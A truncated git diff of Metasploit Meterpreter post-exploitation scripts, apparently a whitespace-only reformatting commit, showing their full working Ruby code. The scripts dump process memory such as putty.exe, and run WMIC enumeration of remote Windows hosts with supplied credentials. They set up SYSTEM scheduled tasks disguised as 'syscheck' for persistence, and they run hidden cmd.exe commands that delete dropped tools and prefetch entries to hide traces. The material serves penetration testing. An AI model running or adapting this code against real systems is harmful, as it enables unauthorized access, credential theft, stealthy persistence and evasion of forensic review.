found = true + end + end + sleep(0.5) if found + end - r.channel.close - r.close + r.channel.close + r.close - print_status("Deleting #{rexe} from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) + print_status("Deleting #{rexe} from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) - print_status("Clearing prefetch-tool prefetch entry ...") - @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) + print_status("Clearing prefetch-tool prefetch entry ...") + @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) - if(logging) - logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") - print_status("[*] Saving prefetch logs to #{logfile}...") - @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") - print_status("[*] Deleting log file from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) - end + if(logging) + logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") + print_status("[*] Saving prefetch logs to #{logfile}...") + @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") + print_status("[*] Deleting log file from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) + end - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -122,64 +122,64 @@ view_list = false check_update = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-x" - options += " --x=" + val - when "-c" - options += " --disable-md5 --disable-sha1" - when "-p" - view_list = true - when "-i" - options += " --inet-lookup" - when "-l" - logging = true - when "-h" - print_status( "Prefetch-tool Meterpreter Script") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-x" + options += " --x=" + val + when "-c" + options += " --disable-md5 --disable-sha1" + when "-p" + view_list = true + when "-i" + options += " --inet-lookup" + when "-l" + logging = true + when "-h" + print_status( "Prefetch-tool Meterpreter Script") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } unsupported if client.platform !~ /win32|win64/i prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe") if !(::File.exist?(prefetch_local)) - print_status("No local copy of prefetch.exe, downloading from the internet...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") + print_status("No local copy of prefetch.exe, downloading from the internet...") + Net::HTTP.start("prefetch-tool.googlecode.com") do |http| + req = Net::HTTP::Get.new("/files/prefetch.exe") + resp = http.request(req) + ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| + fd.write(resp.body) + end + end + print_status("Downloaded prefetch.exe to #{prefetch_local}") else - print_status("Checking for an updated copy of prefetch.exe..") - digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) + print_status("Checking for an updated copy of prefetch.exe..") + digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) - Net::HTTP.start("code.google.com") do |http| - req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") - resp = http.request(req) - body = resp.body - chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0] - chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'') - chksum.sub!(/ <a href/,'') + Net::HTTP.start("code.google.com") do |http| + req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") + resp = http.request(req) + body = resp.body + chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0] + chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'') + chksum.sub!(/ <a href/,'') - if (digest != chksum) - print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") - end - end + if (digest != chksum) + print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...") + Net::HTTP.start("prefetch-tool.googlecode.com") do |http| + req = Net::HTTP::Get.new("/files/prefetch.exe") + resp = http.request(req) + ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| + fd.write(resp.body) + end + end + print_status("Downloaded prefetch.exe to #{prefetch_local}") + end + end end if (view_list) - read_program_list() + read_program_list() end print_status("Running Prefetch-tool script...") diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index bb23219f99..44e82c930f 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -12,182 +12,182 @@ resource = nil query = false @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "PID of process to dump."], - "-n" => [ true, "Name of process to dump."], - "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], - "-t" => [ false, "toggle location information in dump."], - "-q" => [false, "Query the size of the Process that would be dump in bytes."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "PID of process to dump."], + "-n" => [ true, "Name of process to dump."], + "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], + "-t" => [ false, "toggle location information in dump."], + "-q" => [false, "Query the size of the Process that would be dump in bytes."] ) def usage - print_line("") - print_line("USAGE:") - print_line("EXAMPLE: run process_memdump putty.exe") - print_line("EXAMPLE: run process_memdump -p 1234") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line("") + print_line("USAGE:") + print_line("EXAMPLE: run process_memdump putty.exe") + print_line("EXAMPLE: run process_memdump -p 1234") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - pid = val - when "-n" - name = val - when "-t" - toggle = true - when "-q" - query = true - when "-r" - list = val - resource = "" - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - resource << line - end - end - end + case opt + when "-h" + usage + when "-p" + pid = val + when "-n" + name = val + when "-t" + toggle = true + when "-q" + query = true + when "-r" + list = val + resource = "" + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + resource << line + end + end + end } # Function for finding the name of a process given it's PID def find_procname(pid) - name = nil - @client.sys.process.get_processes.each do |proc| - if proc['pid'] == pid.to_i - name = proc['name'] - end - end - return name + name = nil + @client.sys.process.get_processes.each do |proc| + if proc['pid'] == pid.to_i + name = proc['name'] + end + end + return name end # Find all PID's for a given process name def find_pids(name) - proc_pid = [] - @client.sys.process.get_processes.each do |proc| - if proc['name'].downcase == name.downcase - proc_pid << proc['pid'] - end - end - return proc_pid + proc_pid = [] + @client.sys.process.get_processes.each do |proc| + if proc['name'].downcase == name.downcase + proc_pid << proc['pid'] + end + end + return proc_pid end # Dumps the memory for a given PID def dump_mem(pid,name, toggle) - host,port = @client.session_host, session.session_port - # Create Filename info to be appended to created files - filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') - # Create the log directory - ::FileUtils.mkdir_p(logs) - #Dump file name - dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" - print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") - begin - dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) - rescue - print_error("Could not open process for reading memory!") - raise Rex::Script::Completed - end - # MaximumApplicationAddress for 32bit or close enough - maximumapplicationaddress = 2147418111 - base_size = 0 - while base_size < maximumapplicationaddress - mbi = dump_process.memory.query(base_size) - # Check if Allocated - if mbi["Available"].to_s == "false" - file_local_write(dumpfile,mbi.inspect) if toggle - file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) - print_status("\tbase size = #{base_size/1024}") - end - base_size += mbi["RegionSize"] - end - print_status("Saving Dumped Memory to #{dumpfile}") + host,port = @client.session_host, session.session_port + # Create Filename info to be appended to created files + filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') + # Create the log directory + ::FileUtils.mkdir_p(logs) + #Dump file name + dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" + print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") + begin + dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) + rescue + print_error("Could not open process for reading memory!") + raise Rex::Script::Completed + end + # MaximumApplicationAddress for 32bit or close enough + maximumapplicationaddress = 2147418111 + base_size = 0 + while base_size < maximumapplicationaddress + mbi = dump_process.memory.query(base_size) + # Check if Allocated + if mbi["Available"].to_s == "false" + file_local_write(dumpfile,mbi.inspect) if toggle + file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) + print_status("\tbase size = #{base_size/1024}") + end + base_size += mbi["RegionSize"] + end + print_status("Saving Dumped Memory to #{dumpfile}") end # Function to query process Size def get_mem_usage( pid ) - p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) - if( p ) - begin + p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) + if( p ) + begin - if( not @client.railgun.get_dll( 'psapi' ) ) - @client.railgun.add_dll( 'psapi' ) - end + if( not @client.railgun.get_dll( 'psapi' ) ) + @client.railgun.add_dll( 'psapi' ) + end - # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx - if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) - @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ - [ "HANDLE", "hProcess", "in" ], - [ "PBLOB", "ProcessMemoryCounters", "out" ], - [ "DWORD", "Size", "in" ] - ] - ) - end + # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx + if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) + @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ + [ "HANDLE", "hProcess", "in" ], + [ "PBLOB", "ProcessMemoryCounters", "out" ], + [ "DWORD", "Size", "in" ] + ] + ) + end - r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) - if( r['return'] ) - pmc = r['ProcessMemoryCounters'] - # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) - # Note: As we get the raw structure back from railgun we need to account - # for SIZE_T variables being 32bit on x86 and 64bit on x64 - mem = nil - if( @client.platform =~ /win32/ ) - mem = pmc[12..15].unpack('V').first - elsif( @client.platform =~ /win64/ ) - mem = pmc[16..23].unpack('Q').first - end - return (mem/1024) - end - rescue - p "Exception - #{$!}" - end + r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) + if( r['return'] ) + pmc = r['ProcessMemoryCounters'] + # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) + # Note: As we get the raw structure back from railgun we need to account + # for SIZE_T variables being 32bit on x86 and 64bit on x64 + mem = nil + if( @client.platform =~ /win32/ ) + mem = pmc[12..15].unpack('V').first + elsif( @client.platform =~ /win64/ ) + mem = pmc[16..23].unpack('Q').first + end + return (mem/1024) + end + rescue + p "Exception - #{$!}" + end - p.close - end + p.close + end - return nil + return nil end # Main if client.platform =~ /win32|win64/ - if resource - resource.each do |r| - next if r.strip.length < 1 - next if r[0,1] == "#" - print_status("Dumping memory for #{r.chomp}") if not query - pids = find_pids(r.chomp) - if pids.length == 0 - print_status("\tProcess #{r.chomp} not found!") - next - end - pids.each do |p| - print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,r.chomp,toggle) if not query - end - end - elsif pid - name = find_procname(pid) - print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query - print_status("Dumping memory for #{name}") if not query - dump_mem(pid,name,toggle) if not query - elsif name - print_status("Dumping memory for #{name}") if not query - find_pids(name).each do |p| - print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,name,toggle) if not query - end - else - usage - end + if resource + resource.each do |r| + next if r.strip.length < 1 + next if r[0,1] == "#" + print_status("Dumping memory for #{r.chomp}") if not query + pids = find_pids(r.chomp) + if pids.length == 0 + print_status("\tProcess #{r.chomp} not found!") + next + end + pids.each do |p| + print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,r.chomp,toggle) if not query + end + end + elsif pid + name = find_procname(pid) + print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query + print_status("Dumping memory for #{name}") if not query + dump_mem(pid,name,toggle) if not query + elsif name + print_status("Dumping memory for #{name}") if not query + find_pids(name).each do |p| + print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,name,toggle) if not query + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 873d989682..390ee6b99a 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -9,10 +9,10 @@ rpass = nil trg = "" # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "The target address"], - "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], - "-p" => [ true, "Password of user on target system"] + "-h" => [ false, "Help menu."], + "-t" => [ true, "The target address"], + "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], + "-p" => [ true, "Password of user on target system"] ) # Create Filename info to be appended to downloaded files @@ -26,163 +26,163 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum') # WMIC Commands that will be executed on the Target wmic = [ - 'environment list', - 'share list', - 'nicconfig list', - 'computersystem list', - 'useraccount list', - 'group list', - 'sysaccount list', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'service list brief', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe list' + 'environment list', + 'share list', + 'nicconfig list', + 'computersystem list', + 'useraccount list', + 'group list', + 'sysaccount list', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'service list brief', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe list' ] ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmic,user,pass,trgt) - print_status("Running WMIC Commands ....") - tmpout = '' - command = nil - runfail = 0 - runningas = session.sys.config.getuid - begin - tmp = session.fs.file.expand_path("%TEMP%") - # Temporary file on windows host to store results - wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" + print_status("Running WMIC Commands ....") + tmpout = '' + command = nil + runfail = 0 + runningas = session.sys.config.getuid + begin + tmp = session.fs.file.expand_path("%TEMP%") + # Temporary file on windows host to store results + wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - wmic.each do |wmi| - if user == nil - print_status("The commands will be ran under the credentials of #{runningas}") - command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" - else - command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" - end - print_status "\trunning command wimic #{wmi}" - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - #print_status "\twmic #{command}" - r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - sleep(2) - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - # Close output file in host - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + wmic.each do |wmi| + if user == nil + print_status("The commands will be ran under the credentials of #{runningas}") + command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" + else + command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" + end + print_status "\trunning command wimic #{wmi}" + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + #print_status "\twmic #{command}" + r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + sleep(2) + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + # Close output file in host + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end #------------------------------------------------------------------------------ # Function to generate report header def headerbuid(session,target,dest) - # Header for File that will hold all the output of the commands - info = session.sys.config.sysinfo - header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" - header << "Running as: #{client.sys.config.getuid}\n" - header << "From: #{info['Computer']}\n" - header << "OS: #{info['OS']}\n" - header << "Target: #{target}\n" - header << "\n\n\n" + # Header for File that will hold all the output of the commands + info = session.sys.config.sysinfo + header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" + header << "Running as: #{client.sys.config.getuid}\n" + header << "From: #{info['Computer']}\n" + header << "OS: #{info['OS']}\n" + header << "Target: #{target}\n" + header << "\n\n\n" - print_status("Saving report to #{dest}") - header + print_status("Saving report to #{dest}") + header end #------------------------------------------------------------------------------ # Function Help Message def helpmsg - print("Remote Windows Enumeration Meterpreter Script\n" + - "This script will enumerate windows hosts in the target enviroment\n" + - "given a username and password or using the credential under witch\n" + - "Meterpeter is running using WMI wmic windows native tool.\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Remote Windows Enumeration Meterpreter Script\n" + + "This script will enumerate windows hosts in the target enviroment\n" + + "given a username and password or using the credential under witch\n" + + "Meterpeter is running using WMI wmic windows native tool.\n" + + "Usage:\n" + + @@exec_opts.usage) end ################## MAIN ################## if client.platform =~ /win32|win64/ - localos = session.sys.config.sysinfo + localos = session.sys.config.sysinfo - # Check that the command is not being ran on a Win2k host - # since wmic is not present in Windows 2000 - if localos =~ /(Windows 2000)/ - print_status("This script is not supported to be ran from Windows 2000 servers!!!") - else - # Parsing of Options - @@exec_opts.parse(args) { |opt, idx, val| - case opt + # Check that the command is not being ran on a Win2k host + # since wmic is not present in Windows 2000 + if localos =~ /(Windows 2000)/ + print_status("This script is not supported to be ran from Windows 2000 servers!!!") + else + # Parsing of Options + @@exec_opts.parse(args) { |opt, idx, val| + case opt - when "-t" - trg = val - when "-u" - rusr = val - when "-p" - rpass = val - when "-h" - helpmsg - helpcall = 1 - end + when "-t" + trg = val + when "-u" + rusr = val + when "-p" + rpass = val + when "-h" + helpmsg + helpcall = 1 + end - } - #logfile name - dest = logs + "/" + trg + filenameinfo - # Executing main logic of the script - if helpcall == 0 and trg != "" + } + #logfile name + dest = logs + "/" + trg + filenameinfo + # Executing main logic of the script + if helpcall == 0 and trg != "" - # Making sure that is running as System a Username and Password for target machine must be provided + # Making sure that is running as System a Username and Password for target machine must be provided - if is_system? && rusr == nil && rpass == nil + if is_system? && rusr == nil && rpass == nil - print_status("Stopped: Running as System and no user provided for connecting to target!!") + print_status("Stopped: Running as System and no user provided for connecting to target!!") - else trg != nil && helpcall != 1 + else trg != nil && helpcall != 1 - file_local_write(dest,headerbuid(session,trg,dest)) - file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) + file_local_write(dest,headerbuid(session,trg,dest)) + file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) - end - elsif helpcall == 0 and trg == "" + end + elsif helpcall == 0 and trg == "" - helpmsg - end - end + helpmsg + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 7134005e98..adc89c5150 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -11,180 +11,180 @@ ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], - "-d" => [ false,"Daily." ], - "-hr" => [ true,"Every specified hours 1-23."], - "-m" => [ true, "Every specified amount of minutes 1-1439"], - "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], - "-l" => [ false,"When a user logs on."], - "-o" => [ true,"Options for executable when upload method used"], - "-s" => [ false,"At system startup."], - "-i" => [ false,"Run command imediatly and only once."], - "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], - "-u" => [ false,"Username of account with administrative privelages."], - "-p" => [ false,"Password for account provided."], - "-t" => [ true,"Remote system to schedule job."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], + "-d" => [ false,"Daily." ], + "-hr" => [ true,"Every specified hours 1-23."], + "-m" => [ true, "Every specified amount of minutes 1-1439"], + "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], + "-l" => [ false,"When a user logs on."], + "-o" => [ true,"Options for executable when upload method used"], + "-s" => [ false,"At system startup."], + "-i" => [ false,"Run command imediatly and only once."], + "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], + "-u" => [ false,"Username of account with administrative privelages."], + "-p" => [ false,"Password for account provided."], + "-t" => [ true,"Remote system to schedule job."] ) ################## function declaration Declarations ################## def usage() - print_line("Scheduleme -- provides most common scheduling types used during a pentest") - print_line("This script can upload a given executable or script and schedule it to be") - print_line("executed. All scheduled task are run as System so the Meterpreter process") - print_line("must be System or local admin for local schedules and Administrator for") - print_line("remote schedules") - print_line(@@exec_opts.usage) + print_line("Scheduleme -- provides most common scheduling types used during a pentest") + print_line("This script can upload a given executable or script and schedule it to be") + print_line("executed. All scheduled task are run as System so the Meterpreter process") + print_line("must be System or local admin for local schedules and Administrator for") + print_line("remote schedules") + print_line(@@exec_opts.usage) end #--------------------------------------------------------------------------------------------------------- def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - if username == nil - print_status("For cleanup run schtasks /delete /tn #{taskname} /F") - else - print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") - end - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + if username == nil + print_status("For cleanup run schtasks /delete /tn #{taskname} /F") + else + print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") + end + success = true + end + end + if !success + print_status("Failed to 